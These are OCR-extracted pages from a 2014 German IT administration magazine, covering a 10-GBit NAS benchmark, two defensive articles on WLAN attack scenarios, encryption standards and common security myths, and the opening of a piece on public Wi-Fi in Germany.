
stufenweise von einem<br />

bis zu 30 Worker-Prozessen, von denen<br />

jeder <strong>mit</strong> 100 Prozent sequenziellem<br />

Lesen in 4K-Blöcken, ausgerichtet an<br />

4K-Grenzen, beschäftigt war.<br />

Alle Durchläufe, die beispielhaft Abbildung<br />

6 zeigt, lasen von einer einzelnen<br />

SSD. Liefen die Zugriffe – egal ob CIFS<br />

oder iSCSI – über eine 1-GBit-Verbindung,<br />

so li<strong>mit</strong>ierte das Netzwerk den<br />

möglichen Durchsatz auf die maximal<br />

rund 125 MBit/​s, die da<strong>mit</strong> übertragbar<br />

sind.<br />

Die 10-GBit-Verbindung erlaubt es dagegen,<br />

die Möglichkeiten der SSD besser<br />

auszuschöpfen. Weil der maximale<br />

Durchsatz der getesteten SSD von rund<br />

500 MByte/​s nur unter optimalen Bedingungen<br />

zu erreichen ist, liegen die<br />

gemessenen Werte nur bei der Hälfte.<br />

Das ergibt zum einen ein vermutlich<br />

praxisnäheres Bild als in speziell getunten<br />

Umgebungen für Hersteller-Benchmarks<br />

und zeigt andererseits, dass da<br />

noch Reserven sind, die – gegebenenfalls<br />

durch Trunkieren von mehreren<br />

10-GBit-Ports – auch RAID-Gruppen aus<br />

SSDs unterstützen könnten. Synology<br />

selbst will in einem voll <strong>mit</strong> SSDs bestückten<br />

NAS dieser Bauart <strong>mit</strong> einem<br />

RAID5 aus allen SSDs und <strong>mit</strong> vierfach<br />

trunkierten Ethernet-Ports über 3000<br />

MBytes/​s beim Lesen gemessen haben.<br />

Fazit<br />

Große RAID-Gruppen <strong>mit</strong> Caches, Hybridplatten<br />

oder reine SSDs bringen<br />

Abbildung 6: Die Testresultate: Sequenzielles Lesen von einem SSD-<br />

Volume via CIFS und iSCSI <strong>mit</strong> 1 und 10 GBit/​s.<br />

mehr Daten auf die Leitung, als eine<br />

normale Gigabit-Verbindung verkraften<br />

kann. Das übergeorderte Netzwerk<br />

wirkt in diesem Fall als Bremse, worunter<br />

schließlich die Effizienz des Gesamtsystems<br />

leidet. Mit 10-GBit-Netzen, die<br />

gerade in letzter Zeit auch für kleinere<br />

Unternehmen erschwinglich geworden<br />

sind, lässt sich dieser Engpass erfolgreich<br />

umschiffen. Dank 10GBase-T<br />

können dabei sogar ähnliche Kabel<br />

und Switche verwendet werden, wie sie<br />

schon bisher im Einsatz waren. n<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31488<br />

[1] 10-GBit-Standard: [http:// ieeexplore. ieee.​<br />

org/ xpl/ mostRecentIssue. jsp? reload=true&​<br />

punumber=8064]<br />

[2] 10 GBit auf Kupfer: [http:// grouper. ieee. org/​<br />

groups/ 802/ 3/ ak/]<br />

[3] 10GBASE-T: [http:// standards. ieee. org/​<br />

findstds/ standard/ 802. 3an‐2006. html]<br />

[4] X540-T2: [http:// www. intel. com/ p/ de_DE/​<br />

support/ highlights/ network/ ecna‐x540‐t2]<br />

[5] RS 10613 XS+: [http:// www. synology. com/​<br />

de‐de/ products/ overview/ RS10613xs%2B]<br />

[6] Netgear ProSafe XS70BE: [http:// www.​<br />

netgear. de/ products/ business/ switches/​<br />

prosafe‐plus‐switches/ XS708E. aspx#]<br />

[7] iometer: [http:// www. iometer. org]<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


koi88, 123RF<br />

Schwachstellen drahtloser Netzwerke ausmerzen<br />

Sicherungen<br />

Allzu sorglos eingesetzt, können Wireless-Netze zum Einfallstor ins Unternehmensnetzwerk werden. Wir<br />

zeigen, welche Konsequenzen bei einem Angriff von Kriminellen drohen und was IT-Administratoren bei<br />

der Nutzung von WLAN und Co. hinsichtlich der IT-Sicherheit im Hinterkopf haben sollten. Christian Funk<br />

Einer Kaspersky-Umfrage aus dem<br />

Jahr 2013 [1] zufolge, fielen 9 Prozent<br />

der befragten Unternehmen gezielten<br />

Attacken auf das Unternehmensnetzwerk<br />

zum Opfer. Solche Angriffe können<br />

enorme Schäden verursachen, die<br />

entsprechend der Kaspersky-Studie<br />

von Großunternehmen <strong>mit</strong> durchschnittlich<br />

1,8 Millionen Euro beziffert<br />

wurden. Kleine und <strong>mit</strong>tlere Unternehmen<br />

kostet eine gezielte Attacke im<br />

Schnitt immer noch 70 000 Euro.<br />

Zielgerichtete Angriffe erfolgen meist<br />

über sogenanntes Spear-Phishing –<br />

also über eine gezielte Phishing-Attacke<br />

auf einen Mitarbeiter. Zum Einfallstor<br />

ins Unternehmensnetz können dabei<br />

auch drahtlose Netzwerke werden.<br />

Trotz etlicher Vorteile müssen bei ihrem<br />

Einsatz immer auch die Schwachpunkte<br />

betrachtet werden. Zu den<br />

möglichen Folgen gehören Datendieb-<br />

stahl, Malware-Infektionen, Netzwerk-<br />

Lücken und rechtliche Konsequenzen.<br />

Aus Perspektive der IT-Sicherheit sollten<br />

die folgenden Schwachstellen bei<br />

der Nutzung drahtloser Netzwerke besonders<br />

im Blick sein:<br />

n Man-in-the-Middle-Attacke,<br />

n Sniffing-Angriff,<br />

n Lücke „Netzwerkfreigabe von Nutzer<br />

aktiviert“.<br />

Der Mann in der Mitte<br />

Beim Man-in-the-Middle-Angriff (MitM)<br />

steht der Angreifer zwischen den beiden<br />

Kommunikationspartnern. Er hat<br />

<strong>mit</strong> seinem System vollständige Kontrolle<br />

über den Datenverkehr zwischen<br />

den Netzwerkteilnehmern und kann die<br />

Informationen nach Belieben einsehen<br />

und sogar manipulieren. Der Angreifer<br />

täuscht den Kommunikationspartnern<br />

vor, das jeweilige Gegenüber zu sein.<br />

Bei drahtlosen Netzwerken existieren<br />

mehrere MitM-Szenarien. Beim klassischen<br />

Beispiel erfolgt der Angriff über<br />

einen „rogue“ – also einen böswilligen<br />

– Accesspoint. Die Umleitung eines<br />

Opfers auf eine unverschlüsselte Seite<br />

ist möglich, indem SSL deaktiviert wird.<br />

Zielgerichtete Attacken auf Personen<br />

können einem ähnlichen Schema folgen.<br />

Das anvisierte Opfer wird auf eine<br />

Webseite umgeleitet, auf der dann der<br />

Rechner gezielt per Drive-by-Download<br />

infiziert wird.<br />

Wie könnte ein Man-in-the-Middle-<br />

Angriff aussehen? Kriminelle könnten<br />

einen „Rogue-Accesspoint“ als freies<br />

WLAN-Netz an einem öffentlichen Ort<br />

anbieten, beispielsweise im Hotel, in<br />

einem Café oder am Flughafen. Wählt<br />

sich ein Nutzer dort ein, können die Kriminellen<br />

den kompletten Datenverkehr<br />

<strong>mit</strong>lesen und manipulieren. Um ver-<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Wireless Security<br />

Mobile Sicherheit<br />

25<br />

schlüsselte Daten einsehen zu können,<br />

sind weitere Eingriffe nötig, die unten<br />

näher beschrieben werden.<br />

Darüber hinaus können Nutzer eines<br />

feindlichen WLAN-Netzes auf Phishing-<br />

Seiten weitergeleitet werden. Diese<br />

Methode kann gezielt und auch automatisiert<br />

eingesetzt werden. Ruft ein<br />

User die Seite eines Bezahldienstes wie<br />

Paypal auf, wird vom Accesspoint eine<br />

Weiterleitung auf eine täuschend echte<br />

Phishing-Seite benutzt, die ebenfalls<br />

von Kriminellen betrieben wird. Administratoren<br />

sollten daher die Nutzung<br />

öffentlicher WLAN-Netze durch Firmengeräte<br />

immer kritisch sehen.<br />

MitM-Angriffe müssen allerdings nicht<br />

immer über einen Rogue-Accesspoint<br />

erfolgen. Auch ein WLAN-Nutzer <strong>mit</strong><br />

genügend krimineller Energie kann den<br />

Datenverkehr in einem WLAN-Netzwerk<br />

manipulieren. Dabei wird per SSL-<br />

Stripping SSL deaktiviert und da<strong>mit</strong> die<br />

Webseiten-basierte Verschlüsselung<br />

aufgehoben. So können auch Login-<br />

Daten abgegriffen werden.<br />

Vorsicht vor Schnüfflern<br />

Wireless-Netze sind für Sniffing-Attacken<br />

besonders anfällig. Das Sniffing ist<br />

hier leicht zu bewerkstelligen, weil über<br />

WLAN übertragene Daten für jeden<br />

Rechner sichtbar sind. Mit der richtigen<br />

Software können diese Informationen<br />

problemlos aufgezeichnet werden. Ob<br />

die Informationen dann lesbar sind<br />

oder nicht, hängt allerdings von der<br />

Verschlüsselung ab.<br />

Webseiten werden meist über SSL-<br />

Protokolle verschlüsselt. Um SSL-verschlüsselte<br />

Daten sichtbar zu machen,<br />

haben Angreifer zwei Möglichkeiten:<br />

Dem Opferrechner wird ein gefälschtes<br />

Zertifikat präsentiert, der Anwender<br />

nickt in Unwissenheit die Warnung<br />

ab und der Angreifer ist als Man-In-<br />

The-Middle im Netzwerk. Alternativ<br />

können Kriminelle Netzwerk-Traffic so<br />

manipulieren, dass durch sogenanntes<br />

SSL-Stripping keine Verschlüsselung<br />

stattfindet. Netzwerk-Nutzer bemerken<br />

dies daran, dass sie in der Adressleiste<br />

des Browsers kein Schlosssymbol und<br />

nur »http« statt »https« sehen. Doch<br />

nur wenige Anwender überprüfen dieses<br />

Merkmal.<br />

Die bei <strong>WLANs</strong> am häufigsten genutzten<br />

Verschlüsselungstypen sind WPA und<br />

WEP. Letzteres gilt jedoch als veraltet<br />

und un<strong>sicher</strong>. So gibt es für WEP fertige<br />

Toolsets, die ein so ge<strong>sicher</strong>tes WLAN<br />

in weniger als 60 Sekunden knacken<br />

können – stetigen Datenverkehr vorausgesetzt.<br />

WPA, insbesondere WPA2<br />

sind <strong>sicher</strong>, sofern das Passwort stark<br />

genug ist.<br />

Bisher haben wir nur Angriffe auf Surfer<br />

betrachtet. Jedoch sind auch Anwendungen<br />

wie etwa Chat, FTP oder E-Mail,<br />

die über ein drahtloses Netzwerk verwendet<br />

werden, anfällig für Attacken.<br />

Die da<strong>mit</strong> verknüpften Programme


26<br />

Wireless Security<br />

Mobile Sicherheit<br />

von innen scannen und interessante<br />

Ziele auf Schwachstellen abtasten. Der<br />

Zugang zum Gebäude wird dabei über<br />

Social Engineering bewerkstelligt. Der<br />

Angreifer gibt beispielsweise vor, ein<br />

Dienstleister zu sein und die Klimageräte,<br />

Sanitäranlagen oder auch die<br />

Kaffeemaschine zu reparieren. Strikte<br />

Zugangskontrollen schützen vor dieser<br />

Angriffsform.<br />

Abbildung 1: Die häufigsten Bedrohungen für Unternehmen nach einer Kaspersky-Studie.<br />

n Info<br />

müssen selbst eigene Verschlüsselungstechnologien<br />

<strong>mit</strong>bringen.<br />

Outlook kann etwa über SSL verschlüsseln,<br />

wenn der Mailserver (beziehungsweise<br />

der Mailprovider) das anbietet.<br />

Wird FTP genutzt, sollte man zu sFTP<br />

greifen.<br />

Offen wie ein Scheunentor<br />

Die nicht beabsichtigten Lücken drahtloser<br />

Netze kann nur eine sorgfältige<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31678<br />

[1] Umfrage von B2B International im Auftrag von<br />

Kaspersky Lab im Jahr 2013: [http:// media.​<br />

kaspersky. com/ en/ business‐security/​<br />

Kaspersky_Global_IT_Security_Risks_Survey_report_Eng_final.<br />

pdf]<br />

n Autor<br />

Christian Funk ist Senior Virus<br />

Analyst bei Kaspersky Lab. Seine<br />

Spezialgebiete sind die Webseiten<br />

Sozialer Netzwerke, Analysen von<br />

Internetbetrügereien sowie die<br />

Beobachtung des Schwarzmarkts<br />

im Bereich Online-Gaming und<br />

Mobile Security.<br />

Konfiguration wieder adäquat schließen.<br />

Ist zum Beispiel die Netzwerkfreigabe<br />

von Nutzern aktiviert, kann jeder<br />

im selben Netz auf die freigegebenen<br />

Daten zugreifen. Außerdem ermöglicht<br />

die Netzwerkfreigabe das Freigeben<br />

von Ordnern des Betriebssystems.<br />

Ist die Tür ins WLAN für einen Dritten<br />

<strong>mit</strong> krimineller Absicht erst mal geöffnet,<br />

kann das Netz für Angriffe auf Webseiten,<br />

Spam-Versand und andere illegale<br />

Aktivitäten missbraucht werden.<br />

Dies ist gerade für Betreiber von öffentlichen<br />

WLAN-Netzen zu beachten. Denn<br />

es drohen gesetzliche Konsequenzen,<br />

wenn über die eigene IP-Adresse illegale<br />

Aktivitäten ausgeführt werden.<br />

Das folgende Beispiel zeigt, wie Unternehmensnetzwerke<br />

über einen althergebrachten,<br />

aber immer noch äußerst<br />

wirkungsvollen Ansatz ausspioniert<br />

werden können, indem ein WLAN-Netz<br />

selbst zum Angriffsvektor wird. Dabei<br />

wird ein Rogue-Accesspoint <strong>mit</strong>tels<br />

eines vorkonfigurierten WLAN-Routers<br />

von den Angreifern direkt im Unternehmensgebäude<br />

des Opfers platziert. Der<br />

Router ist wiederum via Ethernet an<br />

das Netzwerk angeschlossen. Moderne<br />

Bürogebäude machen es dem Angreifer<br />

relativ leicht. Selbst Küchen oder<br />

ein verstecktes Plätzchen hinter dem<br />

Drucker im Flur bieten Netzwerkanschlüsse,<br />

die hierfür verwendet werden<br />

können. Einmal platziert, kann der Angreifer<br />

vom Parkplatz aus das Netzwerk<br />

So <strong>sicher</strong>t man <strong>WLANs</strong><br />

Die folgenden Tipps zeigen abschließend,<br />

wie man sich auf Konfigurationsebene<br />

des genutzten Wireless-<br />

Equipments vor Sicherheitslücken und<br />

böswilligen Absichten schützen kann:<br />

1. Starke Verschlüsselung: <strong>WLANs</strong> in<br />

Unternehmen sollten mindestens über<br />

„WPA2 Enterprise“ verschlüsselt sein.<br />

2. Starke Passwörter für den WLAN-Zugang:<br />

Wireless-Netze sollten <strong>mit</strong> extra<br />

starken Passwörtern abge<strong>sicher</strong>t werden,<br />

die aus mindestens 16 Zeichen bestehen.<br />

Außerdem sollten Passwörter<br />

Sonderzeichen und Zahlen beinhalten,<br />

aber keine einzelnen Wörter abbilden.<br />

Wenn schwächere Passwörter genutzt<br />

werden, sollte dahinter ein Account-<br />

System liegen, das Mitarbeiter nur<br />

<strong>mit</strong> ihren Zugangsdaten freischalten<br />

können.<br />

3. Abschaltung des Ad-Hoc-Modus:<br />

Wird der Ad-Hoc-Modus ausgeschaltet,<br />

findet keine direkte Kommunikation<br />

zwischen den Clients untereinander<br />

statt. So verhindert man, dass Ordnerfreigaben<br />

einfach ausgenutzt oder<br />

direkte Angriffe auf Rechner ausgeführt<br />

werden können.<br />

4. <strong>WLANs</strong> und interne Netze trennen:<br />

<strong>WLANs</strong> sollten separat zum internen<br />

Netzwerk der Organisation eingerichtet<br />

werden. So sind beide Netze physikalisch<br />

getrennt oder via VLAN-Netze<br />

segmentiert.<br />

5. Rechtliche Ab<strong>sicher</strong>ung via AGBs:<br />

Beim Betreiben von WLAN-Netzen<br />

können rechtliche Konsequenzen bei<br />

Missbrauch eines Netzwerks drohen,<br />

zum Beispiel wenn Internetangriffe und<br />

Spam-Versand via unzureichend abge<strong>sicher</strong>tem<br />

Netzwerkzugang durchgeführt<br />

werden. Eine Ab<strong>sicher</strong>ung durch<br />

die eigene Rechtsabteilung sorgt für<br />

Rechts<strong>sicher</strong>heit. (jcb) n<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


28<br />

WLAN Security<br />

Grundlagen<br />

Thomas Reichhart, 123RF<br />

Sicherheit im WLAN: Fakten und Mythen<br />

Kabellose Mythen<br />

Das drahtlose Netzwerk bringt Komfort für Nutzer und Eindringlinge. Wir erklären die grundlegenden<br />

Konzepte und Begriffe und klären über Mythen auf. Carsten Schnober<br />

Die Strippenzieher kommen aus der<br />

Mode: So mancher Laptop hat nicht<br />

einmal mehr eine Buchse fürs Netzwerkkabel,<br />

von Smartphones und Tablets<br />

ganz zu schweigen. Trotzdem erwarten<br />

ihre Besitzer, dass sie <strong>mit</strong> ihren<br />

Geräten im Büro wie zu Hause einfach<br />

loslegen können. Ein drahtloses Netz ist<br />

schnell aufgesetzt, aber wie verhindert<br />

der Admin, dass Außenstehende darüber<br />

an die Firmeninterna gelangen?<br />

Verschlüsselung statt Kabel?<br />

Mit dem Einzug der drahtlosen Vernetzung<br />

verschwand ein Prinzip, das <strong>sicher</strong>heitsbewusste<br />

Admins liebgewonnen<br />

hatten: Schirmte eine Firewall das<br />

interne Netz ausreichend vor Attacken<br />

von außen ab, brauchten Angreifer eine<br />

physische Verbindung. Vor einem echten<br />

Einbruch ins Büro schreckten dann<br />

wohl doch die meisten Hacker zurück,<br />

während sie für den Einbruchsversuch<br />

ins drahtlose Netz lediglich einen gemütlichen<br />

Platz in der Nachbarschaft<br />

benötigen.<br />

Die typischerweise unverschlüsselte<br />

Kommunikation im internen Netz wird<br />

da<strong>mit</strong> zum potenziellen Sicherheits-<br />

problem. Manche Firmen sperrten sich<br />

anfangs komplett gegen drahtlose<br />

Netzwerke, aber inzwischen können<br />

sich kaum noch Admins dem Komfortgewinn<br />

der <strong>WLANs</strong> verweigern; spätestens<br />

wenn der Chef <strong>mit</strong> seinem neuen<br />

Macbook Air ohne Netzwerkbuchse ins<br />

Netz möchte.<br />

Anfangs sollte die Lösung für das Problem<br />

WEP (Wired Equivalent Privacy)<br />

heißen. Die versprochene, dem Kabel<br />

entsprechende Sicherheit lieferte<br />

das WEP-Verfahren allerdings nicht.<br />

Nachdem mehrere Methoden und<br />

Tools aufgekommen waren, die eine<br />

WEP-Verschlüsselung teils in wenigen<br />

Minuten knackten, verabschiedete das<br />

Institute of Electrical and Electronics<br />

Engineers <strong>IEEE</strong> 2003 den WPA-Standard<br />

(Wi-Fi Protected Access) als Nachfolger<br />

für das un<strong>sicher</strong>e WEP.<br />

Verschlüsselte Un<strong>sicher</strong>heit<br />

WPA war zunächst ein angesichts der<br />

Unzulänglichkeiten von WEP eilig<br />

eingeführter Ersatz. Der neue Standard<br />

führte das TKIP-Verfahren in die<br />

WLAN-Verschlüsselung ein (Temporal<br />

Key Integrity Protocol), das zwei neue<br />

Mechanismen <strong>mit</strong>brachte. Zum einen<br />

generiert TKIP für jedes Datenpaket<br />

einen eigenen Schlüssel von 128 Bit<br />

Länge nach dem RC4-Verschlüsselungsalgorithmus,<br />

der etwa auch beim<br />

TLS-Protokoll zum Einsatz kommt; ein<br />

Verfahren, das als Nachfolger von SSL<br />

diversen Übertragungsprotokollen eine<br />

Verschlüsselungsebene überstülpt.<br />

WEP verzichtete auf solche dynamisch<br />

generierten Schlüssel, unter anderem<br />

weil die Urheber nicht <strong>sicher</strong> waren,<br />

dass jeder Client über die erforderliche<br />

Prozessorleistung verfügte; doch<br />

Anfang des Jahrtausends war dieser<br />

Einwand schon hinfällig.<br />

Zum anderen prüft WPA die Integrität<br />

eingehender Pakete. Da<strong>mit</strong> verhindert<br />

es Angriffe <strong>mit</strong>hilfe abgefangener und<br />

kopierter oder manipulierter Datenpakete<br />

eines anderen Clients.<br />

Als weitere Verbesserung folgte 2004<br />

der bis heute empfohlene Standard<br />

WPA2, teilweise auch bekannt unter<br />

der Abkürzung RSN (Robust Security<br />

Network). Seit 2006 ist WPA2-Unterstützung<br />

für WLAN-Geräte verpflichtend,<br />

da<strong>mit</strong> die <strong>IEEE</strong> sie zertifiziert. WPA2<br />

ersetzt das TKIP-Verfahren durch CCMP<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


WLAN Security<br />

Grundlagen<br />

29<br />

(Counter Mode Cipher Block Chaining<br />

Message Authentication Code Protocol),<br />

da TKIP ebenfalls <strong>sicher</strong>heitstechnische<br />

Schwachstellen offenbart hatte.<br />

2012 erklärte die <strong>IEEE</strong> TKIP für überholt<br />

und rät von der weiteren Benutzung ab,<br />

auch wenn es weiter unterstützt wird.<br />

CCMP basiert auf dem AES-Verschlüsselungsalgorithmus,<br />

den zahlreiche Sicherheitsanwendungen<br />

einsetzen und<br />

der weiterhin als <strong>sicher</strong> gilt.<br />

Endlich <strong>sicher</strong><br />

WPA kennt zwei Authentifizierungsmodi:<br />

Bei WPA-PSK (Pre-shared Key)<br />

gibt der Client bei der Anmeldung am<br />

Hotspot ein Passwort an, aus dem WPA<br />

einen 256 Bit langen Schlüssel generiert.<br />

Dieses WPA Personal genannte<br />

Verfahren kommt meist in kleineren<br />

<strong>WLANs</strong> zum Einsatz. Jeder Benutzer<br />

verwendet dabei also dasselbe Passwort.<br />

Abbildung 1 zeigt einen typischen<br />

WLAN-Router für ein Heimnetzwerk.<br />

Der gemeinsame Netzwerkschlüssel<br />

steht im entsprechenden Feld.<br />

WPA Enterprise implementiert hingegen<br />

eine benutzerbezogene Autorisierung<br />

(siehe Artikel „Großer Radius“ in<br />

dieser Ausgabe) nach dem <strong>IEEE</strong>-Standard<br />

802.1X. Dabei sendet jeder Client<br />

einen Benutzernamen und ein persönliches<br />

Passwort an den WLAN-Hotspot.<br />

Dieser greift üblicherweise auf einen<br />

externen Radius-Server zurück, um die<br />

angegebenen Daten zu überprüfen. Abbildung<br />

2 illustriert den Vorgang.<br />

Die Authentifizierungsdaten leitet der<br />

WLAN-Hotspot gemäß des EAP-Standards<br />

(Extensible Authentication Protocol)<br />

weiter, zu diesem Zweck nutzt WPA<br />

Enterprise die Erweiterung EAPOL (EAP<br />

over LAN). Beim typischen WLAN-Setup<br />

dient der Hotspot dann als Netzwerkzugangsknoten<br />

(NAS, Network Access<br />

Service, Abbildung 3) für die Clients.<br />

EAP selbst legt lediglich das Übertragungsformat<br />

der Anmeldedaten fest<br />

und geht nicht auf mögliche Mithörer<br />

ein. Da<strong>mit</strong> die Benutzerdaten <strong>sicher</strong><br />

ankommen, gelangen sie bei WPA<br />

Enterprise verschlüsselt zum Authentifizierungsserver.<br />

Dabei existieren theoretisch<br />

fünf Varianten, auch wenn in der<br />

Praxis nicht alle zum Einsatz kommen.<br />

Als Erstes bildete gemäß Spezifika-<br />

Abbildung 1: Kleinere <strong>WLANs</strong> verwenden einen gemeinsamen Netzwerkschlüssel.<br />

tion EAP-TLS die Grundlage für WPA<br />

Enterprise. Es gilt immer noch als die<br />

<strong>sicher</strong>ste Variante, denn es setzt in den<br />

meisten Implementationen sowohl auf<br />

der Server- als auch auf der Client-Seite<br />

ein Verschlüsselungszertifikat voraus.<br />

Ohne so ein Zertifikat helfen einem<br />

Einbrecher selbst ein gültiger Benutzername<br />

und Passwort eines Clients nicht.<br />

Das setzt jedoch auch eine vergleichsweise<br />

umständliche Ersteinrichtung eines<br />

Client-Rechners voraus, auf den der<br />

Nutzer sein Zertifikat kopieren muss,<br />

bevor er ins Netz kann.<br />

EAP-TTLS macht das Zertifikat für<br />

den Client optional und baut einen<br />

Sicherheitsgewinn ein, indem der<br />

WN<br />

Supplicant<br />

!<br />

AP<br />

Authenticator<br />

WLAN-Hotspot einen ebenfalls <strong>mit</strong> TLS<br />

verschlüsselten Tunnel zum Authentifizierungsserver<br />

einrichtet. Durch jenen<br />

fließen alle Daten für Außenstehende<br />

unlesbar – auch der Benutzername,<br />

den EAP-TLS im Klartext überträgt. Allerdings<br />

hat sich dieses Verfahren nicht<br />

etabliert, weil Microsofts Desktopbetriebssysteme<br />

es erst seit Windows 8<br />

unterstützen.<br />

Ebenfalls auf einen verschlüsselten<br />

Tunnel setzt das PEAP-Verfahren<br />

(Protected Extensible Authentication<br />

Protocol), entwickelt unter anderem<br />

von Cisco und Microsoft. Es definiert<br />

zunächst nur die Methode, EAP-Mechanismem<br />

aneinander zu koppeln. Den<br />

"<br />

§<br />

Authentication Server<br />

(RADIUS, LDAP,...)<br />

AS<br />

Internet- oder<br />

andere Netzwerkressourcen<br />

Abbildung 2: Bei WPA Enterprise (802.1X) verbindet sich der Client (Supplicant) <strong>mit</strong> dem Accesspoint,<br />

der den Benutzer beim Authentifizierungsserver verifiziert.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


30<br />

WLAN Security<br />

Grundlagen<br />

Supplicant<br />

EAPOL<br />

!<br />

EAP<br />

Authenticator<br />

§<br />

Tunnel zwischen WLAN-Hotspot und<br />

Authentifizierungsserver verschlüsselt<br />

PEAPv0 <strong>mit</strong> MSCHAPv2 (Microsoft’s<br />

Challenge Handshake Authentication<br />

Protocol). PEAPv1 setzt dagegen auf<br />

EAP-GTC (EAP Generic Token Card);<br />

dieser Alleingang aus dem Hause Cisco<br />

konnte sich aber nicht etablieren.<br />

Microsoft verweigerte auch hier bei<br />

seinen Betriebssystemen lange die Unterstützung.<br />

Empfehlungen<br />

Trotz all der teils verwirrend benannten<br />

Abkürzungen lassen sich die Verschlüsselungstechniken<br />

übersichtlich zusammenfassen.<br />

Für den Weg zwischen<br />

Client und WLAN-Hotspot ist WPA oder<br />

WPA2 zuständig. WEP existiert zwar<br />

noch bei vielen Geräten, ist aber veraltet<br />

und bietet wenig mehr Schutz als<br />

eine unverschlüsselte Verbindung.<br />

Für erhöhte Sicherheit empfiehlt sich<br />

dann WPA Enterprise. Dabei kommt<br />

neben der WPA-Verschlüsselung<br />

zwischen Client und WLAN-Hotspot<br />

zusätzlich ein verschlüsselter Tunnel<br />

zum Authentifizierungsserver zum<br />

Einsatz. Dieser benötigt ein Zertifikat,<br />

im Produktiveinsatz sollte es von einer<br />

vertrauenswürdigen Stelle signiert sein.<br />

Andernfalls erhält der Client eine Warnung.<br />

Ignoriert er diese, riskiert er eine<br />

Man-in-the-Middle-Attacke, bei der ein<br />

Angreifer das Zertifikat manipuliert.<br />

Authentication Server<br />

RADIUS / Diameter<br />

EAP<br />

"<br />

Internet- oder<br />

andere Netzwerkressourcen<br />

Abbildung 3: Mit EAPOL gelangen Benutzerdaten verschlüsselt zum Authentifizierungsserver.<br />

Sicherheitsmythen<br />

Aufgrund der Vielzahl sich um WLAN-<br />

Sicherheit rankender Mythen lohnt<br />

sich abschließend eine Aufzählung vermeintlicher<br />

Sicherheitsmaßnahmen,<br />

die faktisch nicht vor gezielten Angriffen<br />

schützen.<br />

Es beginnt <strong>mit</strong> dem vergeblichen<br />

Versuch, das eigene WLAN scheinbar<br />

unsichtbar zu machen. Jeder WLAN-<br />

Hotspot bietet die Möglichkeit, die SSID<br />

(Service Set Identifier) nicht als Broadcast<br />

in die Welt zu senden. Das hat zur<br />

Folge, dass der Name des <strong>WLANs</strong> auf<br />

einem typischen Laptop oder anderen<br />

Gerät nicht zu sehen ist, je nach<br />

Client-Software taucht das namenlose<br />

WLAN dann gar nicht auf. Ein befugter<br />

Netzteilnehmer gibt die SSID manuell<br />

ein, um sich zu verbinden. Einmal gespeichert,<br />

erfolgt die Verbindung zum<br />

WLAN automatisch.<br />

Allerdings bietet diese Maßnahme<br />

höchstens Schutz gegen versehentliche<br />

Verbindungsversuche unerwünschter<br />

Clients. Wer bewusst in ein WLAN einbrechen<br />

möchte, findet die SSID auch<br />

über die zwischen Hotspot und angemeldeten<br />

Clients ausgetauschten Datenpakete.<br />

Einschlägige Tools erledigen<br />

die Extraktion von WLAN-SSIDs ganz<br />

nebenbei, ob unsichtbar oder nicht.<br />

In eine ähnliche Kerbe schlägt der<br />

ebenfalls bei allen WLAN-Hotspots<br />

vorgegebene Filtermechanismus<br />

auf Basis der MAC-Adressen von Clients.<br />

Jedes Netzwerkgerät, sowohl<br />

drahtlose als auch kabelgebundene<br />

Netzwerkadapt er, besitzen ab Werk<br />

eine fest eingebaute MAC-Adresse. Im<br />

Normalfall hilft diese dem Client, sich<br />

eindeutig bei einem Router zu identifizieren.<br />

Deshalb liegt die Idee nahe, die<br />

MAC-Adressen gewünschter Clients im<br />

WLAN-Hotspot zu speichern und alle<br />

anderen Geräte auszusperren.<br />

Auch diese Maßnahme vermeidet<br />

jedoch höchstens versehentliche Verbindungsversuche<br />

durch unbefugte<br />

Clients. Denn die MAC-Adresse eines<br />

Netzwerkgeräts lässt sich beliebig<br />

manipulieren. Erlaubte MAC-Adressen<br />

herauszufinden, ist für einen Eindringling<br />

wiederum einfach, denn auch sie<br />

gehört zu den Daten, die angemeldeten<br />

Clients <strong>mit</strong> jedem Paket an den Hotspot<br />

übertragen. An dieser Stelle fangen<br />

Eindringlinge die MAC-Adresse ab und<br />

übernehmen sie.<br />

Adressen<br />

WLAN-Hotspots enthalten gewöhnlich<br />

auch einen DHCP-Server zur automatischen<br />

Vergabe von IP-Adressen an die<br />

Clients. Es erscheint möglicherweise<br />

als Schutzmaßnahme, den DHCP-<br />

Server abzuschalten und die Netzwerkeinstellungen<br />

der Clients einzeln<br />

zu konfigurieren. Hier gilt jedoch das<br />

gleiche wie bei einem manuell definierten<br />

MAC-Adressenfilter: Abgefangene<br />

Datenpakete enthalten die IP-Adressen,<br />

sodass ein Angreifer lediglich <strong>mit</strong>hören<br />

und seinen Rechner entsprechend konfigurieren<br />

muss.<br />

Ein ähnlicher vermeintlicher Sicherheitstipp<br />

soll den Komfort der automatischen<br />

Client-Konfiguration via<br />

DHCP <strong>mit</strong> der Sicherheit durch einen<br />

eingeschränkten Adressbereich kombinieren.<br />

Es heißt, man begrenze den<br />

vom DHCP-Server vergebenen Bereich<br />

von IP-Adressen auf die Anzahl der<br />

gewünschten Clients. Sind sie angemeldet,<br />

bleiben keine IP-Adressen frei und<br />

der Router verweigert die Anmeldung.<br />

Hier gilt das gleiche wie ohne DHCP-<br />

Server: Wer eine im Netzwerk gültige<br />

IP findet, übernimmt diese einfach, <strong>mit</strong><br />

unvorhersehbaren Folgen für die Netzwerkkommunikation.<br />

n<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


goodluz, 123RF<br />

Öffentliche drahtlose Netzwerke in Deutschland<br />

<strong>Drahtlos</strong> in Grenzen<br />

Öffentliche drahtlose Netzwerke haben es in Deutschland schwer. Das <strong>ADMIN</strong>-<strong>Magazin</strong> hat sich zwei<br />

unterschiedliche Ansätze angesehen, die es trotzdem versuchen: MobyKlick in Norderstedt und die Freifunk-Initiative.<br />

Jan Rähm<br />

Nicht nur Touristen freuen sich, wenn<br />

sie unterwegs über ein öffentliches<br />

drahtloses Netzwerk einen schnellen<br />

Blick auf den digitalen Fahrplan des<br />

örtlichen Nahverkehrs werfen oder sich<br />

per Wikipedia & Co über Ausflugsziele<br />

